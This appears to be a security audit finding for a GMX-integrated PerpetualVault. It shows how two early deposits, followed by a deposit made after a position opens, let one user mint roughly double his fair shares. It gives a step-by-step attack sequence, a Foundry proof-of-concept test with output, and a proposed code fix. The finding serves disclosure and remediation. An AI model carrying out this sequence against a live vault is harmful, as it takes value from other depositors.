Summary
Before any position is opened in a x1 vault, if two deposits A and B are made before a GMX opens a position, the next deposit C done once the position have been opened will see its shares doubled compared to what it should have been.
Vulnerability details
Scenario
The attack require a 1x vault with no existing position and totalShares == 0 , which is the case when a vault just got deployed, or if every users withdraw their deposits.
Steps:
👩💼 Alice deposits 1e10 USDC (1000 USDC) into the vault, which mints Alice 1e18 shares (the vault has a 1e8 scaling factor for the shares)
🤖 The keeper sees Alice deposit and send a Tx to swap its deposit
👤 Right after Alice, and right before the keeper Tx gets executed, Bob deposits 1e10 USDC too into the vault
Like Alice, Bob gets minted 1e18 shares
🤖 The keeper Tx to swap Alice deposits gets executed
🔺 GMX execute the order and send the result of the swap to the vault
🔺 GMX also calls the afterOrderExecution callback which updates the vault state variable positionIsClosed == false and beenLong == true
Now a position is opened in the vault, which will change the behavior of the deposit() function
👤 Bob deposits again 1e10 USDC, but because a position is opened, nothing get minted yet until a swap happens
🤖 The keeper create a swap order into GMX to increase the position
🔺 GMX execute the order and send the result of the swap to the vault
👤 Bob gets minted ~4e18 shares, even though he deposited 2e10 USDC in total
Final state of the attack:
We clearly see that Bob possess 5/6 of the vault shares even though he deposited 2/3 of the total collateral token into the vault.
Impact
A user can get twice the amount of shares he should have gotten for a deposit.
Proof of Concept
Copy these two functions into test/PerpetualVault.t.sol:
function userDepositInfo(address user) internal returns (uint256 userTotalDeposits, uint256 userTotalShares) {
uint256[] memory userDepositIds = PerpetualVault(vault).getUserDeposits(user);
for(uint i; i < userDepositIds.length; i++ ){
(uint256 deposits ,uint256 shares,,,,) = PerpetualVault(vault).depositInfo(userDepositIds[i]);
userTotalDeposits += deposits;
userTotalShares += shares;
}
}
function test_POC_2PeopleDepositIntoGmx() external {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 aliceAmount = 1e10;
uint256 bobAmount = aliceAmount;
depositFixture(alice, aliceAmount);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory swapData = new bytes[](1);
address[] memory gmxPath = new address[](1);
gmxPath[0] = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
uint256 minOutputAmount = aliceAmount * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, aliceAmount , minOutputAmount));
depositFixture(bob, bobAmount);
address keeper = PerpetualVault(vault).keeper();
vm.prank(keeper);
PerpetualVault(vault).run(true, true, prices, swapData);
GmxOrderExecuted(true);
console.log("___________ MID CHECKS ___________");
(uint256 aliceTotalDeposits, uint256 aliceTotalShares) = userDepositInfo(alice);
console.log("Alice TotalDeposits: %e", aliceTotalDeposits);
console.log("Alice TotalShares: %e\n", aliceTotalShares);
(uint256 bobTotalDeposits, uint256 bobTotalShares) = userDepositInfo(bob);
console.log("Bob TotalDeposits: %e", bobTotalDeposits);
console.log("Bob TotalShares: %e\n", bobTotalShares);
console.log("Vault TotalShares: %e\n", PerpetualVault(vault).totalShares());
vm.deal(bob, 0.5 ether);
depositFixture(bob, bobAmount);
vm.prank(keeper);
minOutputAmount = bobAmount * 2 * prices.shortTokenPrice.min / prices.longTokenPrice.min * 95 / 100;
swapData[0] = abi.encode(PROTOCOL.GMX, abi.encode(gmxPath, bobAmount *2, minOutputAmount));
PerpetualVault(vault).runNextAction(prices, swapData);
GmxOrderExecuted(true);
console.log("___________ FINAL CHECKS ___________");
(aliceTotalDeposits, aliceTotalShares) = userDepositInfo(alice);
console.log("Alice TotalDeposits: %e", aliceTotalDeposits);
console.log("Alice TotalShares: %e\n", aliceTotalShares);
(bobTotalDeposits, bobTotalShares) = userDepositInfo(bob);
console.log("Bob TotalDeposits: %e", bobTotalDeposits);
console.log("Bob TotalShares: %e\n", bobTotalShares);
console.log("Vault TotalShares: %e", PerpetualVault(vault).totalShares());
}
Output:
Ran 1 test for test/PerpetualVault.t.sol:PerpetualVaultTest
[PASS] test_POC_2PeopleDepositIntoGmx() (gas: 6316287)
Logs:
___________ MID CHECKS ___________
Alice TotalDeposits: 1e10
Alice TotalShares: 1e18
Bob TotalDeposits: 1e10
Bob TotalShares: 1e18
Vault TotalShares: 2e18
___________ FINAL CHECKS ___________
Alice TotalDeposits: 1e10
Alice TotalShares: 1e18
Bob TotalDeposits: 2e10
Bob TotalShares: 4.999934735657063295e18
Vault TotalShares: 5.999934735657063295e18
Recommended Mitigation Steps
The issue happen before any position is opened, and that's because while deposit() almost always set the flow to DEPOSIT, when positionIsClosed == false, the _finalize function reset the value of flow to zero.
In other terms, before a position is opened in the vault, users can call deposit even though the keeper hasn't processed the deposit, while on the contrary, when a position is opened, users cannot deposit if a previous deposit hasn't been processed yet.
A working fix that still run all other tests with success would be the following:
function deposit(uint256 amount) external nonReentrant payable {
_noneFlow();
if (depositPaused == true) {
revert Error.Paused();
}
if (amount < minDepositAmount) {
revert Error.InsufficientAmount();
}
if (totalDepositAmount + amount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
flow = FLOW.DEPOSIT;
collateralToken.safeTransferFrom(msg.sender, address(this), amount);
counter++;
depositInfo[counter] = DepositInfo(amount, 0, msg.sender, 0, block.timestamp, address(0));
totalDepositAmount += amount;
EnumerableSet.add(userDeposits[msg.sender], counter);
if (positionIsClosed) {
MarketPrices memory prices;
_mint(counter, amount, false, prices);
- _finalize(hex'');
} else {
_payExecutionFee(counter, true);
// mint share token in the NextAction to involve off-chain price data and improve security
nextAction.selector = NextActionSelector.INCREASE_ACTION;
nextAction.data = abi.encode(beenLong);
}
}
function run(
bool isOpen,
bool isLong,
MarketPrices memory prices,
bytes[] memory metadata
) external nonReentrant {
+ if (flow == FLOW.DEPOSIT && positionIsClosed){
+ //allowed
+ }
+ else {
_noneFlow();
+ }
_onlyKeeper();
if (gmxProxy.lowerThanMinEth()) {
revert Error.LowerThanMinEth();
}
flow = FLOW.SIGNAL_CHANGE;
//* -------- some code -------*//
